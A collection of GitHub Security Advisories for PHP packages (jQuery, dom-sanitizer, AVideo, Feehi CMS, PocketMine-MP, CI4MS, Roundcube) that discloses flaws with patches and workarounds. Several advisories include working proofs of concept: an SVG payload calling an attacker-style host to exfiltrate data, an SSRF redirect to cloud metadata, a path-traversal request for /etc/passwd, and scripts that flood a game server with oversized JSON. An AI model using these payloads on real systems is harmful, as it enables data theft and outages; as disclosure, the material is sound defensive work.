deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-gxr4-xjj5-5px2
Package: components/jquery (COMPOSER)
Severity: MODERATE (CVSS 6.9)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 1.12.0, < 3.5.0
Patched in: 3.5.0

Summary: Potential XSS vulnerability in jQuery

Details:
### Impact
Passing HTML from untrusted sources - even after sanitizing it - to one of jQuery's DOM manipulation methods (i.e. `.html()`, `.append()`, and others) may execute untrusted code.

### Patches
This problem is patched in jQuery 3.5.0.

### Workarounds
To workaround the issue without upgrading, adding the following to your code:

```js
jQuery.htmlPrefilter = function( html ) {
	return html;
};
```

You need to use at least jQuery 1.12/2.2 or newer to be able to apply this workaround.

### References
https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/
https://jquery.com/upgrade-guide/3.5/

### For more information
If you have any questions or comments about this advisory, search for a relevant issue in [the jQuery repo](https://github.com/jquery/jquery/issues). If you don't find an answer, open a new issue.
GitHub Security Advisory: GHSA-93vf-569f-22cq
Package: rhukster/dom-sanitizer (COMPOSER)
Severity: MODERATE (CVSS 4.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 1.0.10
Patched in: 1.0.10

Summary: rhukster/dom-sanitizer: SVG <style> tag allows CSS injection via unfiltered url() and @import directives

Details:
### Summary
DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.

### Details
In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.

Vulnerable code (src/DOMSanitizer.php, line 31):
```php
'svg' => ['style', 'path', 'rect', 'circle', ...],
```

The following payload survives sanitize() intact:
```svg
<svg xmlns="http://www.w3.org/2000/svg">
  <style>* { background: url(https://attacker.example/collect); }</style>
</svg>
```

### PoC
```php
<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;

$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)
```

Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.

### Impact
Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.
GitHub Security Advisory: GHSA-pq95-94c9-j987
Package: kantorge/yaffa (COMPOSER)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 2.0.0
Patched in: unpatched

Summary: yaffa vulnerable to Cross Site Scripting

Details:
yaffa v2.0.0 is vulnerable to Cross Site Scripting (XSS). An attacker can inject malicious JavaScript into the "Add Account Group" function on the account-group page, allowing execution of arbitrary script in the context of users who view the affected page.
GitHub Security Advisory: GHSA-f359-r3pv-2phf
Package: wwbn/avideo (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: AVideo has SSRF Protection Bypass via HTTP Redirect in Image Download Endpoints

Details:
## Summary

`isSSRFSafeURL()` validates URLs against private/reserved IP ranges before fetching, but `url_get_contents()` follows HTTP redirects without re-validating the redirect target. An attacker can bypass SSRF protection by redirecting from a public URL to an internal target.

## Root Cause

**Check-time:** `isSSRFSafeURL()` at `objects/functions.php:4066` resolves the hostname and validates the IP.

**Use-time:** `url_get_contents()` at `objects/functions.php:1990` calls `file_get_contents()` with PHP's default `follow_location=1` — redirects are followed without re-validation. The wget fallback at line 2047 also follows redirects by default.

**Affected endpoint:** `objects/aVideoEncoderReceiveImage.json.php` at lines 67-68, 107-108, 135-136, 160-161:
```php
if (isValidURL($_REQUEST['downloadURL_image']) && isSSRFSafeURL($_REQUEST['downloadURL_image'])) {
    $content = url_get_contents($_REQUEST['downloadURL_image']);
```

## Proof of Concept

1. Attacker sets up `https://attacker.com/redir` to respond with `302 Location: http://169.254.169.254/latest/meta-data/`
2. Authenticated user (with upload+edit permissions) triggers image download:
```
GET /objects/aVideoEncoderReceiveImage.json.php?downloadURL_image=https://attacker.com/redir&...
```
3. `isSSRFSafeURL()` resolves `attacker.com` → public IP → passes validation
4. `url_get_contents()` follows 302 redirect to `169.254.169.254` → SSRF

## Impact

- Cloud metadata access (AWS IMDSv1, GCP, Azure)
- Internal network service access
- Bypasses the existing SSRF protection that was added to prevent exactly this class of attack

## Note

The curl path in `url_get_contents()` does NOT set `CURLOPT_FOLLOWLOCATION` so it is not affected. Only the `file_get_contents` and `wget` fallback paths are vulnerable.

## Suggested Fix

Set `follow_location` to `0` in the stream context and handle redirects manually with re-validation, or add `isSSRFSafeURL()` check inside `url_get_contents()` after resolving the final URL.
GitHub Security Advisory: GHSA-hj9c-p59c-vqph
Package: feehi/cms (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.1.1
Patched in: unpatched

Summary: Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the creation/editing module

Details:
An authenticated stored cross-site scripting (XSS) vulnerability in the creation/editing module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Content field.
GitHub Security Advisory: GHSA-cgxr-v74v-g9mm
Package: feehi/cms (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.1.1
Patched in: unpatched

Summary: Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the Page Sign parameter

Details:
An authenticated stored cross-site scripting (XSS) vulnerability in Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Page Sign parameter.
GitHub Security Advisory: GHSA-xqm9-6qmm-xrqh
Package: feehi/cms (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.1.1
Patched in: unpatched

Summary: Feehi CMS has authenticated stored cross-site scripting (XSS) vulnerabilities via the Permissions module

Details:
Multiple authenticated stored cross-site scripting (XSS) vulnerabilities in the Permissions module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Group, Category or Description parameters.
GitHub Security Advisory: GHSA-664p-j3q6-p843
Package: feehi/cms (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.1.1
Patched in: unpatched

Summary: Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the Category module

Details:
An authenticated stored cross-site scripting (XSS) vulnerability in the Category module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name parameter.
GitHub Security Advisory: GHSA-hqjc-wfvx-x2fv
Package: feehi/cms (COMPOSER)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.1.1
Patched in: unpatched

Summary: Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the Role Management module

Details:
An authenticated stored cross-site scripting (XSS) vulnerability in the Role Management module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Role Name parameter.
GitHub Security Advisory: GHSA-cvjh-88c8-2jjx
Package: feehi/cms (COMPOSER)
Severity: MODERATE (CVSS 4.8)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: = 2.1.1
Patched in: unpatched

Summary: Feehi CMS has an authenticated stored cross-site scripting (XSS) vulnerability via the creation/editing module

Details:
An authenticated stored cross-site scripting (XSS) vulnerability in the creation/editing module of Feehi CMS v2.1.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Title parameter.
GitHub Security Advisory: GHSA-f4f9-627c-jh33
Package: WWBN/AVideo (COMPOSER)
Severity: HIGH (CVSS 7.6)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 26.0
Patched in: unpatched

Summary: WWBN AVideo's GIF poster fetch bypasses traversal scrubbing and exposes local files through public media URLs

Details:
## Summary

`objects/aVideoEncoderReceiveImage.json.php` allowed an authenticated uploader to fetch attacker-controlled same-origin `/videos/...` URLs, bypass traversal scrubbing, and expose server-local files through the GIF poster storage path.

The vulnerable GIF branch could be abused to read local files such as `/etc/passwd` or application source files and republish those bytes through a normal public GIF media URL.

## Details

The vulnerable chain was:

1. `objects/aVideoEncoderReceiveImage.json.php` accepted attacker-controlled `downloadURL_gifimage`
2. traversal scrubbing used `str_replace('../', '', ...)`, which was bypassable with overlapping input such as `....//`
3. same-origin `/videos/...` URLs were accepted
4. `url_get_contents()` and `try_get_contents_from_local()` resolved the request into a local filesystem read
5. the fetched bytes were written into the GIF destination
6. invalid GIF cleanup used the wrong variable, so the non-image payload remained on disk

This made the GIF poster path a local file disclosure primitive with public retrieval.

## Proof of concept

1. Log in as an uploader and create an owned video row through the normal encoder flow.
2. Send:

```text
POST /objects/aVideoEncoderReceiveImage.json.php
downloadURL_gifimage=https://localhost/videos/....//....//....//....//....//....//etc/passwd
```

3. Query:

```text
GET /objects/videos.json.php?showAll=1
```

4. Recover the generated GIF URL from `videosURL.gif.url`.
5. Download that GIF URL.
6. Observe that the body matches the target local file, such as `/etc/passwd`, byte-for-byte.

## Impact

An authenticated uploader can read server-local files and republish them through a public GIF media URL by supplying a crafted same-origin `/videos/...` path to `downloadURL_gifimage`. Because traversal scrubbing was bypassable and the fetched bytes were written to the GIF destination without effective invalid-image cleanup, successful exploitation allows disclosure of files such as `/etc/passwd`, readable application source code, or deployment-specific configuration accessible to the application.


## Recommended fix

- Reject any remote image URL whose decoded path contains traversal markers
- Do not allow attacker-controlled same-origin `/videos/...` fetches to resolve into local file reads
- Constrain any local shortcut path handling with `realpath()` and strict base-directory allowlists
- Validate GIF content before saving it into public media storage
- Ensure invalid-image cleanup checks the correct destination path
GitHub Security Advisory: GHSA-f9jp-856v-8642
Package: pocketmine/pocketmine-mp (COMPOSER)
Severity: LOW (CVSS 3.7)
CWE: CWE-664: Improper Control of a Resource Through its Lifetime
Vulnerable versions: < 5.39.2
Patched in: 5.39.2

Summary: PocketMine-MP: Player entities can still die and drop items in flaggedForDespawn state

Details:
### Summary
When an entity dies, the entity is flagged for despawn, but remains in the `World`'s entity table, meaning it's still accessible by doing `World->getEntity($entityId)` and other methods. The same is true of a player when quitting the server.

When a network packet arrives from a client to attack an entity, the handler fetches the entity using `World->getEntity($entityId)` without any checks if the entity is already marked for despawning. Depending on the timing, the entity in question might already be in the flagged-for-despawn state when the action is processed. This means that the death handler for the entity might be run multiple times, causing loot and XP to be dropped multiple times, among other potential side effects.

### Reproducing steps
To reproduce this vulnerability, two clients (Player A and Player B) are required.

Prerequisites:
    - Player A (Victim): Must have the valuable items to be duplicated in their inventory and 1 HP (to ensure instant death).
    - Player B (Attacker): Must be equipped with a weapon capable of dealing at least 1 damage.

Steps:
    1. Player A and Player B stand next to each other.
    2. Player A initiates the disconnect sequence (e.g., clicking "Disconnect" or "Exit to Menu").
    3. Immediately after Player A triggers the disconnect (within a split-second window), Player B must attack and kill Player A.
    4. Player A's character dies server-side, and their inventory drops on the ground.
    5. Player B collects the dropped items.
    6. Player A logs back into the server.
    7. Result: Player A still possesses the original items in their inventory, while Player B holds the dropped copies.

### Patches
The issue was fixed in https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f[PII_REDACTED]e79bc9f1aa39109683 by adding checks for flagged-for-despawn entities in several affected locations.

While a cleaner fix would be to have `World`'s various entity accessing methods exclude flagged-for-despawn entities, this was deemed too risky for 5.x as it would require significant internal changes.

### Workarounds
Plugins can mitigate this issue on older versions by handling `EntityDamageByEntityEvent`, checking if the victim entity is flagged for despawn, and if so, cancelling the event.
GitHub Security Advisory: GHSA-7hmv-4j2j-pp6f
Package: pocketmine/pocketmine-mp (COMPOSER)
Severity: MODERATE (CVSS 4.3)
CWE: CWE-406: Insufficient Control of Network Message Volume (Network Amplification)
Vulnerable versions: < 5.39.2
Patched in: 5.39.2

Summary: PocketMine-MP: Network amplification vulnerability with `ActorEventPacket`

Details:
### Impact
The server handles `ActorEventPacket` to trigger consuming animations from vanilla clients when they eat food or drink potions.

This can be abused to make the server spam other clients, and to waste server CPU and memory. For every `ActorEventPacket` sent by the client, an animation event will be sent to every other player the attacker is visible to.

This is similar to various other vulnerabilities which were fixed in the network overhaul of PM4 (e.g. `AnimatePacket` and `LevelSoundEventPacket`), but somehow this one slipped through the net.

### Patches
The problem was addressed in aeea1150a772a005b92bd418366f1b7cf1a91ab5 by changing the mechanism for consuming animations to be fully controlled by the server. `ActorEventPacket` from the client is now discarded.

### Workarounds
A plugin could use `DataPacketDecodeEvent` to rate-limit `ActorEventPacket` to prevent the attack.
GitHub Security Advisory: GHSA-788v-5pfp-93ff
Package: pocketmine/pocketmine-mp (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 5.39.2
Patched in: 5.39.2

Summary: PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Details:
### Impact

The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

### Patches
The issue was fixed in two parts:
- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

### Workarounds
This issue can be worked around in a plugin using `DataPacketReceiveEvent` by:
- checking the max size of the `formData` field
- making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.

### PoC

1. Join a PocketMine-MP server as a regular player (no special permissions needed).
2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:

   * Any non-existent `formId`
   * `formData` containing a massive JSON array (e.g., 10+ MB payload).
3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

```javascript
import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});
```
GitHub Security Advisory: GHSA-h6rj-3m53-887h
Package: pocketmine/pocketmine-mp (COMPOSER)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: < 5.41.1
Patched in: 5.41.1

Summary: PocketMine-MP: LogDoS by large complex unknown property logging in clientData in LoginPacket

Details:
### Impact

Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft `LoginPacket`, causing the server to generate very long log messages.
Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS.

This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely.

This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully.

This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access.

### PoC
1. Connect to the server using a custom client.

2. Send a Minecraft `LoginPacket` containing an unexpected JSON property (e.g., invalid_key) within the ClientData.

3. Set the value of invalid_key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays).

4. The server hits the `warnUndefinedJsonPropertyHandler`, which attempts to var_export the malicious object, leading to an Out-of-Memory crash.

```
A := make([]interface{}, 1)
	ptr := &A
	for i := 0; i < 500; i++ {
		next := make([]interface{}, 1000)
		(*ptr)[0] = next
		ptr = &next
	}
	data := make([]int, 2000000)
	for i := 0; i < 100; i++ {
		data[i] = i
	}
	(*ptr)[0] = data
	d.PlayFabID = A
 ```

### Patches
The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant `var_export` and limiting the length of the logged property name to 80 characters.

### Workarounds
Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper_Exception` will be thrown if the JWT is problematic.

However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).
GitHub Security Advisory: GHSA-5ghq-42rg-769x
Package: ci4-cms-erp/ci4ms (COMPOSER)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.31.1.0
Patched in: 0.31.2.0

Summary: CI4MS: Company Information Public-Facing Page Full Platform Compromise & Full Account Takeover for All Roles & Privilege-Escalation via System Settings Company Information Stored DOM XSS

Details:
An attacker can acheive Full Account Takeover & Privilege Escalation via Stored DOM Blind XSS on public-facing landing pages through the System Settings Company Information section which allows the injection of XSS payloads
GitHub Security Advisory: GHSA-w846-74jr-76cv
Package: roundcube/roundcubemail (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 1.7-beta, < 1.7-rc5
Patched in: 1.7-rc5

Summary: Roundcube Webmail: Remote image blocking feature can be bypassed via SVG content in an e-mail message

Details:
An issue was discovered in Roundcube Webmail before 1.5.15 and 1.6.15. The remote image blocking feature can be bypassed via SVG content in an e-mail message. This may lead to information disclosure or access-control bypass. This involves the animate element with attributeName=fill/filter/stroke.
GitHub Security Advisory: GHSA-xpqh-grpw-4xmg
Package: roundcube/roundcubemail (COMPOSER)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-669: Incorrect Resource Transfer Between Spheres
Vulnerable versions: >= 1.7-beta, < 1.7-rc5
Patched in: 1.7-rc5

Summary: Roundcube Webmail: Insufficient CSS sanitization in HTML e-mail messages

Details:
An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. Insufficient Cascading Style Sheets (CSS) sanitization in HTML e-mail messages may lead to a fixed-position mitigation bypass via the use of !important.